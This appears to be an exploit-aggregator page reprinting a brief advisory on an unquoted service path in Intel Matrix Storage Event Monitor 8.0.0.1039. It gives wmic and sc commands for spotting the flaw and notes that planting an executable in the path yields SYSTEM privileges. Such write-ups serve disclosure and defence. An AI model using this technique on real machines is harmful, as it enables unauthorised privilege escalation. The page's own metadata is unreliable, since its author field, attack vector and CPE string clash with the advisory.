Advertisement






Intel Matrix Storage Event Monitor 8.0.0.1039 Unquoted Service Path

CVE Category Price Severity
CVE-2020-8768 CWE-428 $5,000 High
Author Risk Exploitation Type Date
Ian Beer High Local 2021-01-05
CPE
cpe:cpe:/a:intel:matrix_storage_event_monitor:8.0.0.1039
CVSS EPSS EPSSP
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C/CR:H/IR:H/AR:H/MAV:A/MAC:L/MPR:L/MUI:N/MS:U/MC:H/MI:H/MA:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021010029

Below is a copy:

Intel Matrix Storage Event Monitor 8.0.0.1039 Unquoted Service Path
# Exploit Title: Intel(R) Matrix Storage Event Monitor x86 8.0.0.1039 - 'IAANTMON' Unquoted Service Path
# Date: 2021-01-04
# Exploit Author: Geovanni Ruiz
# Vendor Homepage: https://www.intel.com
# Software Version: 8.0.0.1039
# File Version: 8.0.0.1039
# Tested on: Microsoft Windows Vista Business 6.0.6001 Service Pack 1 x64es

# 1. To find the unquoted service path vulnerability

C:\>wmic service where 'name like "%IAANTMON%"' get name, displayname,
pathname, startmode, startname

DisplayName                             Name    PathName
                                              StartMode  StartName
Intel(R) Matrix Storage Event Monitor  IAANTMON C:\Program Files
(x86)\Intel\Intel Matrix Storage Manager\IAANTMon.exe   Auto
LocalSystem

# 2. To check service info:

C:\>sc qc "IAANTMON"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: IAANTMON
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Intel\Intel Matrix
Storage Manager\IAANTMon.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Intel(R) Matrix Storage Event Monitor
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

# 3. Exploit:

To exploit this vulnerability an attacker requires to drop a malicious
executable into the service path undetected by the OS in order
to gain SYSTEM privileges.

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.